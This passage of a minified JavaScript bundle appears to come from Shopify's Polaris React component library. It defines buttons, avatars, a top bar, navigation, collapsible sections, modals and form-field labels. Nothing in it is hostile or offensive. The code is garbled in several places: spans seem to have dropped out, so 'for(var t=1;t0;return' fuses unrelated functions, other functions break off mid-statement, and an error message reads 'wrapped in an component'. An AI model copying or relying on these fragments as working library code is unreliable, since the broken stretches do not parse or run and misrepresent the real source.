0===ee?X:ee,re=r.createElement("button",{type:"button",className:Q,disabled:J,"aria-label":te,"aria-describedby":g,onClick:Y,onMouseUp:Pn},r.createElement("span",{className:ta.Icon},r.createElement(zt,{source:Xr})));n=r.createElement(zr,{active:G,onClose:Y,activator:re,preferredAlignment:"right"},r.createElement(Pa,{items:B.actions,onActionAnyItem:Y}))}var ae={id:a,className:z,accessibilityLabel:p,ariaDescribedBy:g,role:h,onClick:b,onFocus:y,onBlur:w,onMouseUp:Pn,onMouseEnter:k,onTouchStart:_},oe={url:i,external:s,download:u},ie={submit:c,disabled:H,loading:d,ariaControls:m,ariaExpanded:v,pressed:f,onKeyDown:x,onKeyUp:S,onKeyPress:E},le=r.createElement(Ta,Object.assign({},ae,oe,ie),r.createElement("span",{className:ta.Content},Z,V,q,U));return n?r.createElement("div",{className:ta.ConnectedDisclosureWrapper},le,n):le}function La(e){return"select"===e?Jr:"up"===e?ea:Xr}function Oa(e){var t=e.title,n=e.description,a=e.action,o=e.link,i=e.badge,l=i&&r.createElement(En,{status:i.status},i.content),s=o.to,u=o.content,c=a.onClick,d=a.content;return r.createElement("div",{className:Xt},r.createElement(zr.Section,null,r.createElement(Vr,{vertical:!0,spacing:"tight"},r.createElement(Zr,null,r.createElement($r,null,t,l),r.createElement("p",null,n)),r.createElement(un,{url:s},u),r.createElement(Ma,{plain:!0,onClick:c},d))))}function Fa(e){var t=e.actions,n=e.onOpen,a=e.onClose,o=e.open,i=e.activatorContent,l=e.message,s=e.colorScheme,u=e.accessibilityLabel,c=l&&l.badge&&{content:l.badge.content,status:l.badge.status},d=l&&r.createElement(Oa,{title:l.title,description:l.description,action:{onClick:l.action.onClick,content:l.action.content},link:{to:l.link.to,content:l.link.content},badge:c}),f=Boolean(l);return r.createElement(zr,{activator:r.createElement("div",{className:Yt},r.createElement("button",{type:"button",className:Qt,onClick:n,"aria-label":u},i)),active:o,onClose:a,fixed:!0,fullHeight:f,preferredAlignment:"right",colorScheme:s},r.createElement(Pa,{onActionAnyItem:a,sections:t}),d)}var Ia,ja={Avatar:"Polaris-Avatar",hidden:"Polaris-Avatar--hidden",sizeExtraSmall:"Polaris-Avatar--sizeExtraSmall",sizeSmall:"Polaris-Avatar--sizeSmall",sizeMedium:"Polaris-Avatar--sizeMedium",sizeLarge:"Polaris-Avatar--sizeLarge",styleOne:"Polaris-Avatar--styleOne",styleTwo:"Polaris-Avatar--styleTwo",styleThree:"Polaris-Avatar--styleThree",styleFour:"Polaris-Avatar--styleFour",styleFive:"Polaris-Avatar--styleFive",hasImage:"Polaris-Avatar--hasImage",Image:"Polaris-Avatar__Image",Initials:"Polaris-Avatar__Initials",Svg:"Polaris-Avatar__Svg"},Ra=["sourceSet","source","crossOrigin"];function Ba(e){var t=e.sourceSet,n=e.source,a=e.crossOrigin,o=u(e,Ra),i=t?t.map((function(e){var t=e.source,n=e.descriptor;return"".concat(t," ").concat(n)})).join(","):null;return i?r.createElement("img",Object.assign({src:n,srcSet:i,crossOrigin:a},o)):r.createElement("img",Object.assign({src:n},o,{crossOrigin:a}))}!function(e){e.Pending="PENDING",e.Loaded="LOADED",e.Errored="ERRORED"}(Ia||(Ia={}));var Da=["one","two","three","four","five"];function Ha(e){var t=e.name,n=e.source,a=e.onError,o=e.initials,i=e.customer,l=e.size,s=void 0===l?"medium":l,u=e.accessibilityLabel,c=jt(),d=na();var f=ne((0,r.useState)(Ia.Pending),2),p=f[0],h=f[1];(0,r.useEffect)((function(){h(Ia.Pending)}),[n]);var m,v=(0,r.useCallback)((function(){h(Ia.Errored),a&&a()}),[a]),g=(0,r.useCallback)((function(){h(Ia.Loaded)}),[]),b=n&&p!==Ia.Errored,y=t||o;if(u)m=u;else if(t)m=t;else if(o){var w=o.split("").join(" ");m=c.translate("Polaris.Avatar.labelWithInitials",{initials:w})}else m=c.translate("Polaris.Avatar.label");var x=Xe(ja.Avatar,s&&ja[Je("size",s)],!i&&ja[Je("style",function(e){return e?Da[e.charCodeAt(0)%Da.length]:Da[0]}(y))],(b||o&&0===o.length)&&p!==Ia.Loaded&&ja.hidden,b&&ja.hasImage),E=n&&d&&p!==Ia.Errored?r.createElement(Ba,{className:ja.Image,source:n,alt:"",role:"presentation",onLoad:g,onError:v}):null,S=i||!o?r.createElement("path",{fill:"currentColor",d:"M8.28 27.5A14.95 14.95 0 0120 21.8c4.76 0 8.97 2.24 11.72 5.7a14.02 14.02 0 01-8.25 5.91 14.82 14.82 0 01-6.94 0 14.02 14.02 0 01-8.25-5.9zM13.99 12.78a6.02 6.02 0 1112.03 0 6.02 6.02 0 01-12.03 0z"}):r.createElement("text",{x:"50%",y:"50%",dy:"0.35em",fill:"currentColor",fontSize:"20",textAnchor:"middle"},o),k=b?null:r.createElement("span",{className:ja.Initials},r.createElement("svg",{className:ja.Svg,viewBox:"0 0 40 40"},S));return r.createElement("span",{"aria-label":m,role:"img",className:x},k,E)}function za(){var e=(0,r.useContext)(ge);if(!e)throw new Ve("No Theme was provided.");return e}var Ua=function(e){var t,n=e.showNavigationToggle,a=e.userMenu,o=e.searchResults,i=e.searchField,l=e.secondaryMenu,s=e.searchResultsVisible,u=e.searchResultsOverlayVisible,c=void 0!==u&&u,d=e.onNavigationToggle,f=e.onSearchResultsDismiss,p=e.contextControl,h=jt(),m=za().logo,v=rt(!1),g=v.value,b=v.setTrue,y=v.setFalse,w=Xe(ft,g&&pt),x=n?r.createElement("button",{type:"button",className:w,onClick:d,onFocus:b,onBlur:y,"aria-label":h.translate("Polaris.TopBar.toggleMenuLabel")},r.createElement(zt,{source:Qe})):null,E=nt(m,104);if(p)t=r.createElement("div",{className:dt},p);else if(m){var S=Xe(st,n||i?it:lt);t=r.createElement("div",{className:S},r.createElement(sn,{url:m.url||"",className:ct,style:{width:E}},r.createElement(Ba,{source:m.topBarSource||"",alt:m.accessibilityLabel||"",className:ut,style:{width:E}})))}var k=i?r.createElement(r.Fragment,null,i,r.createElement(_t,{visible:s,onDismiss:f,overlayVisible:c},o)):null;return r.createElement("div",{className:ot},x,t,r.createElement("div",{className:ht},r.createElement("div",{className:mt},k),r.createElement("div",{className:vt},l),a))};Ua.Menu=Fa,Ua.SearchField=function(e){var t=e.value,n=e.focused,a=e.active,o=e.placeholder,i=e.onChange,l=e.onFocus,s=e.onBlur,u=e.onCancel,c=e.showFocusBorder,d=jt(),f=ne((0,r.useState)(!1),2),p=f[0],h=f[1],m=(0,r.useRef)(null),v=qe("SearchField"),g=(0,r.useCallback)((function(e){var t=e.currentTarget;i(t.value)}),[i]),b=(0,r.useCallback)((function(){return l&&l()}),[l]),y=(0,r.useCallback)((function(){return s&&s()}),[s]),w=(0,r.useCallback)((function(){u&&u(),m.current&&(m.current.value="",i(""),m.current.focus())}),[u,i]);(0,r.useEffect)((function(){m.current&&(n?m.current.focus():m.current.blur())}),[n]);var x=""!==t&&r.createElement("button",{type:"button","aria-label":d.translate("Polaris.TopBar.SearchField.clearButtonLabel"),className:It,onClick:w,onBlur:function(){h(!1),w()},onFocus:function(){b(),h(!0)}},r.createElement(zt,{source:Pt})),E=Xe(Tt,(n||a||p)&&At);return r.createElement("div",{className:E,onFocus:b,onBlur:y},r.createElement(Dt,null,r.createElement("label",{htmlFor:v},d.translate("Polaris.TopBar.SearchField.search"))),r.createElement("input",{id:v,className:Mt,placeholder:o,type:"search",autoCapitalize:"off",autoComplete:"off",autoCorrect:"off",ref:m,value:t,onChange:g,onKeyDown:Ut}),r.createElement("span",{className:Ft},r.createElement(zt,{source:Nt})),x,r.createElement("div",{className:Xe(Lt,c&&Ot)}))},Ua.UserMenu=function(e){var t=e.name,n=e.detail,a=e.avatar,o=e.initials,i=e.actions,l=e.message,s=e.onToggle,u=e.open,c=e.colorScheme,d=e.accessibilityLabel,f=Boolean(l),p=r.createElement(r.Fragment,null,r.createElement(Gt,{active:f},r.createElement(Ha,{size:"small",source:a,initials:o&&o.replace(" ","")})),r.createElement("span",{className:Wt},r.createElement("p",{className:Vt},t),r.createElement("p",{className:qt},n)));return r.createElement(Fa,{activatorContent:p,open:u,onOpen:s,onClose:s,actions:i,message:l,colorScheme:c,accessibilityLabel:d})};var Wa,Va,qa=(0,r.createContext)(!1),Za=(0,r.createContext)({location:""}),Ka="Polaris-Navigation",Ga="Polaris-Navigation__ContextControl",$a="Polaris-Navigation__PrimaryNavigation",Ya="Polaris-Navigation__LogoContainer",Qa="Polaris-Navigation__Logo",Xa="Polaris-Navigation__LogoLink",Ja="Polaris-Navigation__Item",eo="Polaris-Navigation--keyFocused",to="Polaris-Navigation__Item--selected",no="Polaris-Navigation__Item--disabled",ro="Polaris-Navigation__Icon",ao="Polaris-Navigation__Badge",oo="Polaris-Navigation--subNavigationActive",io="Polaris-Navigation__ExternalIcon",lo="Polaris-Navigation__ListItem",so="Polaris-Navigation__RollupSection",uo="Polaris-Navigation__SecondaryNavigation",co="Polaris-Navigation__ListItem--hasAction",fo="Polaris-Navigation__ItemWrapper",po="Polaris-Navigation__Text",ho="Polaris-Navigation__SecondaryAction",mo="Polaris-Navigation--isExpanded",vo="Polaris-Navigation__List",go="Polaris-Navigation__SecondaryNavigation--noIcon",bo="Polaris-Navigation__Section",yo="Polaris-Navigation__Section--fill",wo="Polaris-Navigation__Section--withSeparator",xo="Polaris-Navigation__SectionHeading",Eo="Polaris-Navigation__Action",So="Polaris-Navigation__RollupToggle",ko="Polaris-Navigation__Indicator",_o=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Wa||(Wa=r.createElement("path",{d:"M6 10a2 2 0 1 1-4.001-.001A2 2 0 0 1 6 10zm6 0a2 2 0 1 1-4.001-.001A2 2 0 0 1 12 10zm6 0a2 2 0 1 1-4.001-.001A2 2 0 0 1 18 10z"})))},Co=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Va||(Va=r.createElement("path",{d:"M11 4a1 1 0 0 1 1-1h4a1 1 0 0 1 1 1v4a1 1 0 1 1-2 0V6.414l-5.293 5.293a1 1 0 0 1-1.414-1.414L13.586 5H12a1 1 0 0 1-1-1zM3 6.5A1.5 1.5 0 0 1 4.5 5H8a1 1 0 0 1 0 2H5v8h8v-3a1 1 0 1 1 2 0v3.5a1.5 1.5 0 0 1-1.5 1.5h-9A1.5 1.5 0 0 1 3 15.5v-9z"})))},Po="Polaris-Collapsible",No="Polaris-Collapsible--isFullyClosed",To="Polaris-Collapsible--expandOnPrint";function Ao(e){var t=e.id,n=e.expandOnPrint,a=e.open,o=e.transition,i=e.children,s=ne((0,r.useState)(0),2),u=s[0],c=s[1],d=ne((0,r.useState)(a),2),f=d[0],p=d[1],h=ne((0,r.useState)("idle"),2),m=h[0],v=h[1],g=(0,r.useRef)(null),b="idle"===m&&a&&f,y="idle"===m&&!a&&!f,w=n||!y?i:null,x=Xe(Po,y&&No,n&&To),E=l(l({},o&&{transitionDuration:"".concat(o.duration),transitionTimingFunction:"".concat(o.timingFunction)}),{maxHeight:b?"none":"".concat(u,"px"),overflow:b?"visible":"hidden"}),S=(0,r.useCallback)((function(e){e.target===g.current&&(v("idle"),p(a))}),[a]);return(0,r.useEffect)((function(){a!==f&&v("measuring")}),[a,f]),(0,r.useEffect)((function(){a&&g.current&&c(g.current.scrollHeight)}),[]),(0,r.useEffect)((function(){if(g.current)switch(m){case"idle":break;case"measuring":c(g.current.scrollHeight),v("animating");break;case"animating":c(a?g.current.scrollHeight:0)}}),[m,a,f]),r.createElement("div",{id:t,style:E,ref:g,className:x,onTransitionEnd:S,"aria-expanded":a},w)}function Mo(e){var t=e.id,n=e.children,a=e.expanded,o=qe("SecondaryNavigation");return r.createElement(Ao,{id:t||o,open:a,transition:{duration:"0ms",timingFunction:"linear"}},r.createElement("ul",{className:vo},n))}function Lo(){var e=(0,r.useContext)(Pe);if(!e)throw new Error("No mediaQuery was provided. Your application must be wrapped in an component. See https://polaris.shopify.com/components/structure/app-provider for implementation instructions.");return e}var Oo="Polaris-Indicator",Fo="Polaris-Indicator--pulseIndicator";function Io(e){var t=e.pulse,n=Xe(Oo,(void 0===t||t)&&Fo);return r.createElement("span",{className:n})}var jo,Ro=["label"];function Bo(e){var t=e.url,n=e.icon,a=e.label,o=e.subNavigationItems,i=void 0===o?[]:o,l=e.secondaryAction,s=e.disabled,c=e.onClick,d=e.accessibilityLabel,f=e.selected,p=e.badge,h=e.new,m=e.matches,v=e.exactMatch,g=e.matchPaths,b=e.excludePaths,y=e.external,w=jt(),x=Lo().isNavigationCollapsed,E=qe("SecondaryNavigation"),S=(0,r.useContext)(Za),k=S.location,_=S.onNavigationDismiss,C=ne((0,r.useState)(!1),2),P=C[0],N=C[1],T=ne((0,r.useState)(!1),2),A=T[0],M=T[1];(0,r.useEffect)((function(){!x&&P&&N(!1)}),[P,x]);var L=(0,r.useCallback)((function(e){e.keyCode===Hn.Tab&&!A&&M(!0)}),[A]),O=(0,r.useCallback)((function(){A&&M(!1)}),[A]),F=s?-1:0,I=i.filter((function(e){return e.new})).length>0?r.createElement("span",{className:ko},r.createElement(Io,{pulse:!0})):null,j=n?r.createElement("div",{className:ro},r.createElement(zt,{source:n})):null,R=w.translate("Polaris.Common.newWindowAccessibilityHint"),B=y?r.createElement("div",{className:io},r.createElement(zt,{accessibilityLabel:R,source:Co,color:"base"})):null,D=null,H=null==(D=h?r.createElement(En,{status:"new",size:"small"},w.translate("Polaris.Badge.STATUS_LABELS.new")):"string"===typeof p?r.createElement(En,{status:"new",size:"small"},p):p)?null:r.createElement("div",{className:ao},D),z=r.createElement(r.Fragment,null,j,r.createElement("span",{className:po},a,I),H);if(null==t){var U=Xe(Ja,s&&no,A&&eo,f&&to);return r.createElement("li",{className:lo},r.createElement("button",{type:"button",className:U,disabled:s,"aria-disabled":s,"aria-label":d,onClick:ee(c),onKeyUp:L,onBlur:O},z))}var W=l&&r.createElement(sn,{external:!0,url:l.url,className:ho,tabIndex:F,"aria-disabled":s,"aria-label":l.accessibilityLabel,onClick:l.onClick},r.createElement(zt,{source:l.icon})),V=zo({url:t,matches:m,exactMatch:v,matchPaths:g,excludePaths:b},k),q=i.filter((function(e){var t=zo(e,k);return t===jo.MatchForced||t===jo.MatchUrl||t===jo.MatchPaths})),Z=q.length>0,K=null==f?V===jo.MatchForced||V===jo.MatchUrl||V===jo.MatchPaths:f,G=K||P||Z,$=Xe(Ja,s&&no,K&&0===i.length&&to,G&&oo,A&&eo),Y=null;if(i.length>0){var Q=q.sort((function(e,t){var n=e.url;return t.url.length-n.length}))[0],X=Xe(uo,G&&mo,!n&&go);Y=r.createElement("div",{className:X},r.createElement(Mo,{expanded:G,id:E},i.map((function(e){var t=e.label,n=u(e,Ro);return r.createElement(Bo,Object.assign({key:t},n,{label:t,matches:e===Q,onClick:function(){_&&_(),e.onClick&&e.onClick!==_&&e.onClick()}}))}))))}var J=Xe(lo,l&&co);return r.createElement("li",{className:J},r.createElement("div",{className:fo},r.createElement(sn,Object.assign({url:t,className:$,external:y,tabIndex:F,"aria-disabled":s,"aria-label":d,onClick:ee(c),onKeyUp:L,onBlur:O},function(e,t,n){return t?{"aria-expanded":n,"aria-controls":e}:void 0}(E,i.length>0,G)),z,B),W),Y);function ee(e){return function(t){if(t.currentTarget.getAttribute("href")===k&&t.preventDefault(),i&&i.length>0&&x)t.preventDefault(),N(!P);else if(_)return _(),void(e&&e!==_&&e());e&&e()}}}function Do(e){var t=e.split("?")[0].split("#")[0];return t.endsWith("/")?t:"".concat(t,"/")}function Ho(e,t){return Do(e).startsWith(Do(t))}function zo(e,t){var n=e.url,r=e.matches,a=e.exactMatch,o=e.matchPaths,i=e.excludePaths;return null==n?jo.NoMatch:r?jo.MatchForced:!1===r||i&&i.some((function(e){return Ho(t,e)}))?jo.Excluded:o&&o.some((function(e){return Ho(t,e)}))?jo.MatchPaths:(a?function(e,t){return Do(e)===Do(t)}(t,n):Ho(t,n))?jo.MatchUrl:jo.NoMatch}!function(e){e[e.MatchForced=0]="MatchForced",e[e.MatchUrl=1]="MatchUrl",e[e.MatchPaths=2]="MatchPaths",e[e.Excluded=3]="Excluded",e[e.NoMatch=4]="NoMatch"}(jo||(jo={}));var Uo=["onClick","label","subNavigationItems"];var Wo=function(e){var t=e.children,n=e.contextControl,a=e.location,o=e.onDismiss,i=e.ariaLabelledBy,l=za().logo,s=nt(l,104),u=l?r.createElement("div",{className:Ya},r.createElement(sn,{url:l.url||"",className:Xa,style:{width:s}},r.createElement(Ba,{source:l.topBarSource||"",alt:l.accessibilityLabel||"",className:Qa,style:{width:s}}))):null,c=n?r.createElement("div",{className:Ga},n):u,d=(0,r.useMemo)((function(){return{location:a,onNavigationDismiss:o}}),[a,o]);return r.createElement(Za.Provider,{value:d},r.createElement(qa.Provider,{value:!0},r.createElement("nav",{className:Ka,"aria-labelledby":i},c,r.createElement(Nr,{className:$a},t))))};function Vo(){return Vo=Object.assign||function(e){for(var t=1;t0;return r.createElement(Bo,Object.assign({key:n},o,{label:n,subNavigationItems:a,onClick:h(t,i)}))})),y=Xe(Ja,So),w=i&&(c?i.hide:i.view),x=i&&o.length>i.after&&r.createElement("div",{className:lo,key:"List Item"},r.createElement("button",{type:"button",className:y,onClick:d,"aria-label":w},r.createElement("span",{className:ro},r.createElement(zt,{source:_o})))),E=o.findIndex((function(e){return!!i&&(i.activePath===e.url||e.url&&i.activePath.startsWith(e.url)||!!e.subNavigationItems&&e.subNavigationItems.some((function(e){var t=e.url;return i.activePath.startsWith(t)})))})),S=i?b.slice(0,i.after):b,k=i?b.slice(i.after):[];i&&-1!==E&&E>i.after-1&&S.push.apply(S,te(k.splice(E-i.after,1)));var _=qe("AdditionalItems"),C=i&&k.length>0&&r.createElement("li",{className:so},r.createElement(Ao,{id:_,open:c},r.createElement("ul",{className:vo},k)),x);return r.createElement("ul",{className:m},g,S,C)};var Zo=r.createContext(null);function Ko(e,t){var n=Object.create(null);return e&&r.Children.map(e,(function(e){return e})).forEach((function(e){n[e.key]=function(e){return t&&(0,r.isValidElement)(e)?t(e):e}(e)})),n}function Go(e,t,n){return null!=n[t]?n[t]:e.props[t]}function $o(e,t,n){var a=Ko(e.children),o=function(e,t){function n(n){return n in t?t[n]:e[n]}e=e||{},t=t||{};var r,a=Object.create(null),o=[];for(var i in e)i in t?o.length&&(a[i]=o,o=[]):o.push(i);var l={};for(var s in t){if(a[s])for(r=0;r1&&void 0!==arguments[1])||arguments[1]);!!t&&t.focus()}(l.current)),e.target===t&&e.shiftKey&&(e.preventDefault(),function(e){var t=On(e,!(arguments.length>1&&void 0!==arguments[1])||arguments[1]);!!t&&t.focus()}(l.current))}}}),a))}var Ti=["instant","labelledBy","children","onClose","onExited","onEntered","large","small","limitHeight"],Ai=["children"];function Mi(e){var t=e.instant,n=e.labelledBy,a=e.children,o=e.onClose,i=e.onExited,l=e.onEntered,s=e.large,c=e.small,d=e.limitHeight,f=u(e,Ti),p=(0,r.useRef)(null),h=Xe(bi,c&&wi,s&&xi,d&&yi),m=t?di:Oi;return(0,r.useEffect)((function(){p.current&&!p.current.contains(document.activeElement)&&An(p.current)}),[]),r.createElement(m,Object.assign({},f,{nodeRef:p,mountOnEnter:!0,unmountOnExit:!0,timeout:200,onEntered:l,onExited:i}),r.createElement("div",{className:vi,"data-polaris-layer":!0,"data-polaris-overlay":!0,ref:p},r.createElement(Ni,null,r.createElement("div",{role:"dialog","aria-modal":!0,"aria-labelledby":n,tabIndex:-1,className:gi},r.createElement("div",{className:h},r.createElement(cr,{keyCode:Hn.Escape,handler:o}),a)))))}var Li={appear:Xe(Ei,Si),appearActive:Xe(Ei,Ci),enter:Xe(Ei,Si),enterActive:Xe(Ei,Ci),exit:Xe(Ei,ki),exitActive:Xe(Ei,_i)};function Oi(e){var t=e.children,n=u(e,Ai);return r.createElement(mi,Object.assign({},n,{classNames:Li}),t)}var Fi,Ii="Polaris-Modal-Header",ji="Polaris-Modal-Header--titleHidden",Ri="Polaris-Modal-Header__Title",Bi=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Fi||(Fi=r.createElement("path",{d:"m11.414 10 6.293-6.293a1 1 0 1 0-1.414-1.414L10 8.586 3.707 2.293a1 1 0 0 0-1.414 1.414L8.586 10l-6.293 6.293a1 1 0 1 0 1.414 1.414L10 11.414l6.293 6.293A.998.998 0 0 0 18 17a.999.999 0 0 0-.293-.707L11.414 10z"})))},Di="Polaris-Modal-CloseButton";function Hi(e){var t=e.onClick,n=jt();return r.createElement("button",{onClick:t,className:Di,"aria-label":n.translate("Polaris.Common.close")},r.createElement(zt,{source:Bi,color:"base"}))}var zi={DisplayText:"Polaris-DisplayText",sizeSmall:"Polaris-DisplayText--sizeSmall",sizeMedium:"Polaris-DisplayText--sizeMedium",sizeLarge:"Polaris-DisplayText--sizeLarge",sizeExtraLarge:"Polaris-DisplayText--sizeExtraLarge"};function Ui(e){var t=e.element,n=void 0===t?"p":t,a=e.children,o=e.size,i=void 0===o?"medium":o,l=Xe(zi.DisplayText,i&&zi[Je("size",i)]);return r.createElement(n,{className:l},a)}function Wi(e){var t=e.id,n=e.titleHidden,a=e.children,o=e.onClose;return r.createElement("div",{className:n||!a?ji:Ii},r.createElement("div",{id:t,className:Ri},r.createElement(Ui,{element:"h2",size:"small"},a)),r.createElement(Hi,{onClick:o}))}var Vi="Polaris-Modal-Section",qi="Polaris-Modal-Section--subdued",Zi="Polaris-Modal-Section--flush";function Ki(e){var t=e.children,n=e.flush,a=void 0!==n&&n,o=e.subdued,i=Xe(Vi,a&&Zi,void 0!==o&&o&&qi);return r.createElement("section",{className:i},t)}var Gi="Polaris-Modal-Footer",$i="Polaris-Modal-Footer__FooterContent",Yi=["content","onAction"];function Qi(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(Array.isArray(e))return e.map((function(e,n){return Xi(e,t,n)}));var n=e;return Xi(n,t)}function Xi(e,t,n){var a=e.content,o=e.onAction,i=u(e,Yi);return r.createElement(Ma,Object.assign({key:n,onClick:o},i,t),a)}var Ji={ButtonGroup:"Polaris-ButtonGroup",Item:"Polaris-ButtonGroup__Item","Item-plain":"Polaris-ButtonGroup__Item--plain",segmented:"Polaris-ButtonGroup--segmented","Item-focused":"Polaris-ButtonGroup__Item--focused",fullWidth:"Polaris-ButtonGroup--fullWidth",extraTight:"Polaris-ButtonGroup--extraTight",tight:"Polaris-ButtonGroup--tight",loose:"Polaris-ButtonGroup--loose"};function el(e){var t=e.button,n=rt(!1),a=n.value,o=n.setTrue,i=n.setFalse,l=Xe(Ji.Item,a&&Ji["Item-focused"],t.props.plain&&Ji["Item-plain"]);return r.createElement("div",{className:l,onFocus:o,onBlur:i},t)}function tl(e){var t=e.children,n=e.spacing,a=e.segmented,o=e.fullWidth,i=e.connectedTop,l=Xe(Ji.ButtonGroup,n&&Ji[n],a&&Ji.segmented,o&&Ji.fullWidth),s=Wn(t).map((function(e,t){return r.createElement(el,{button:e,key:t})}));return r.createElement("div",{className:l,"data-buttongroup-segmented":a,"data-buttongroup-connected-top":i,"data-buttongroup-full-width":o},s)}function nl(e){var t=e.primaryAction,n=e.secondaryActions,a=e.children,o=t&&Qi(t,{primary:!0})||null,i=n&&Qi(n)||null,l=o||i?r.createElement(tl,null,i,o):null;return r.createElement("div",{className:Gi},r.createElement("div",{className:$i},r.createElement(Vr,{alignment:"center"},r.createElement(Vr.Item,{fill:!0},a),l)))}var rl="Polaris-Backdrop",al="Polaris-Backdrop--transparent",ol="Polaris-Backdrop--belowNavigation";function il(e){var t=e.onClick,n=e.onTouchStart,a=e.belowNavigation,o=e.transparent,i=Xe(rl,a&&ol,o&&al);return r.createElement(r.Fragment,null,r.createElement(St,null),r.createElement("div",{className:i,onClick:t,onTouchStart:n}))}var ll=function(e){var t,n,a=e.children,o=e.title,i=e.titleHidden,l=void 0!==i&&i,s=e.src,u=e.iFrameName,c=e.open,d=e.instant,f=e.sectioned,p=e.loading,h=e.large,m=e.small,v=e.limitHeight,g=e.footer,b=e.primaryAction,y=e.secondaryActions,w=e.onScrolledToBottom,x=e.activator,E=e.onClose,S=e.onIFrameLoad,k=e.onTransitionEnd,_=e.noScroll,C=ne((0,r.useState)(200),2),P=C[0],N=C[1],T=qe("modal-header"),A=(0,r.useRef)(null),M=jt().translate("Polaris.Modal.iFrameTitle"),L=(0,r.useCallback)((function(){k&&k()}),[k]),O=(0,r.useCallback)((function(){N(200);var e=x&&sl(x)?x&&x.current:A.current;e&&requestAnimationFrame((function(){return An(e)}))}),[x]),F=(0,r.useCallback)((function(e){var t=e.target;if(t&&t.contentWindow)try{N(t.contentWindow.document.body.scrollHeight)}catch(n){N(400)}null!=S&&S(e)}),[S]);if(c){var I=g||b||y?r.createElement(nl,{primaryAction:b,secondaryActions:y},g):null,j=f?Dn(a,Ki,{}):a,R=p?r.createElement("div",{className:ni},r.createElement(aa,null)):j,B=_?r.createElement("div",{className:ei},R):r.createElement(Nr,{shadow:!0,className:ei,onScrolledToBottom:w},R),D=s?r.createElement("iframe",{name:u,title:M,src:s,className:ti,onLoad:F,style:{height:"".concat(P,"px")}}):B;t=r.createElement(Mi,{instant:d,labelledBy:T,onClose:E,onEntered:L,onExited:O,large:h,small:m,limitHeight:v},r.createElement(Wi,{titleHidden:l,id:T,onClose:E},o),r.createElement("div",{className:Jo},D),I),n=r.createElement(il,null)}var H=!d,z=x&&!sl(x)?r.createElement("div",{ref:A},x):null;return r.createElement(qa.Provider,{value:!0},z,r.createElement(Rn,{idPrefix:"modal"},r.createElement(Xo,{appear:H,enter:H,exit:H},t),n))};function sl(e){return Object.prototype.hasOwnProperty.call(e,"current")}ll.Section=Ki;var ul="Polaris-FormLayout",cl="Polaris-FormLayout__Title",dl="Polaris-FormLayout__Items",fl="Polaris-FormLayout__HelpText",pl="Polaris-FormLayout__Item",hl="Polaris-FormLayout--grouped",ml="Polaris-FormLayout--condensed";function vl(e){return r.createElement("div",{className:pl},e.children)}function gl(e){var t,n,a=e.children,o=e.condensed,i=e.title,l=e.helpText,s=Xe(o?ml:hl),u=qe("FormLayoutGroup"),c=null,d=null;l&&(t="".concat(u,"HelpText"),c=r.createElement("div",{id:t,className:fl},l)),i&&(n="".concat(u,"Title"),d=r.createElement("div",{id:n,className:cl},i));var f=r.Children.map(a,(function(e){return Dn(e,vl,{})}));return r.createElement("div",{role:"group",className:s,"aria-labelledby":n,"aria-describedby":t},d,r.createElement("div",{className:dl},f),c)}var bl=(0,r.memo)((function(e){var t=e.children;return r.createElement("div",{className:ul},r.Children.map(t,yl))}));function yl(e,t){return Un(e,gl)?e:Dn(e,vl,{key:t})}bl.Group=gl;var wl,xl={TextField:"Polaris-TextField",multiline:"Polaris-TextField--multiline",Input:"Polaris-TextField__Input",hasValue:"Polaris-TextField--hasValue",focus:"Polaris-TextField--focus",Backdrop:"Polaris-TextField__Backdrop",error:"Polaris-TextField--error",readOnly:"Polaris-TextField--readOnly",disabled:"Polaris-TextField--disabled",Prefix:"Polaris-TextField__Prefix","Input-hasClearButton":"Polaris-TextField__Input--hasClearButton","Input-suffixed":"Polaris-TextField__Input--suffixed","Input-alignRight":"Polaris-TextField__Input--alignRight","Input-alignLeft":"Polaris-TextField__Input--alignLeft","Input-alignCenter":"Polaris-TextField__Input--alignCenter",Suffix:"Polaris-TextField__Suffix",CharacterCount:"Polaris-TextField__CharacterCount",AlignFieldBottom:"Polaris-TextField__AlignFieldBottom",ClearButton:"Polaris-TextField__ClearButton",Hidden:"Polaris-TextField__Hidden",Spinner:"Polaris-TextField__Spinner",SpinnerIcon:"Polaris-TextField__SpinnerIcon",Resizer:"Polaris-TextField__Resizer",DummyInput:"Polaris-TextField__DummyInput",Segment:"Polaris-TextField__Segment",monospaced:"Polaris-TextField--monospaced"},El="Polaris-Labelled--hidden",Sl="Polaris-Labelled__LabelWrapper",kl="Polaris-Labelled__HelpText",_l="Polaris-Labelled__Error",Cl="Polaris-Labelled__Action",Pl=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),wl||(wl=r.createElement("path",{d:"M10 18a8 8 0 1 1 0-16 8 8 0 0 1 0 16zM9 9a1 1 0 0 0 2 0V7a1 1 0 1 0-2 0v2zm0 4a1 1 0 1 0 2 0 1 1 0 0 0-2 0z"})))},Nl="Polaris-InlineError",Tl="Polaris-InlineError__Icon";function Al(e){var t=e.message,n=e.fieldID;return t?r.createElement("div",{id:Ml(n),className:Nl},r.createElement("div",{className:Tl},r.createElement(zt,{source:Pl})),t):null}function Ml(e){return"".concat(e,"Error")}var Ll="Polaris-Label",Ol="Polaris-Label--hidden",Fl="Polaris-Label__Text",Il="Polaris-Label__RequiredIndicator";function jl(e){return"".concat(e,"Label")}function Rl(e){var t=e.children,n=e.id,a=e.hidden,o=e.requiredIndicator,i=Xe(Ll,a&&Ol);return r.createElement("div",{className:i},r.createElement("label",{id:jl(n),htmlFor:n,className:Xe(Fl,o&&Il)},t))}var Bl=["id","label","error","action","helpText","children","labelHidden","requiredIndicator"];function Dl(e){var t=e.id,n=e.label,a=e.error,o=e.action,i=e.helpText,l=e.children,s=e.labelHidden,c=e.requiredIndicator,d=u(e,Bl),f=Xe(s&&El),p=o?r.createElement("div",{className:Cl},Xi(o,{plain:!0})):null,h=i?r.createElement("div",{className:kl,id:Hl(t)},i):null,m=a&&"boolean"!==typeof a&&r.createElement("div",{className:_l},r.createElement(Al,{message:a,fieldID:t})),v=n?r.createElement("div",{className:Sl},r.createElement(Rl,Object.assign({id:t,requiredIndicator:c},d,{hidden:!1}),n),p):null;return r.createElement("div",{className:f},v,l,m,h)}function Hl(e){return"".concat(e,"HelpText")}var 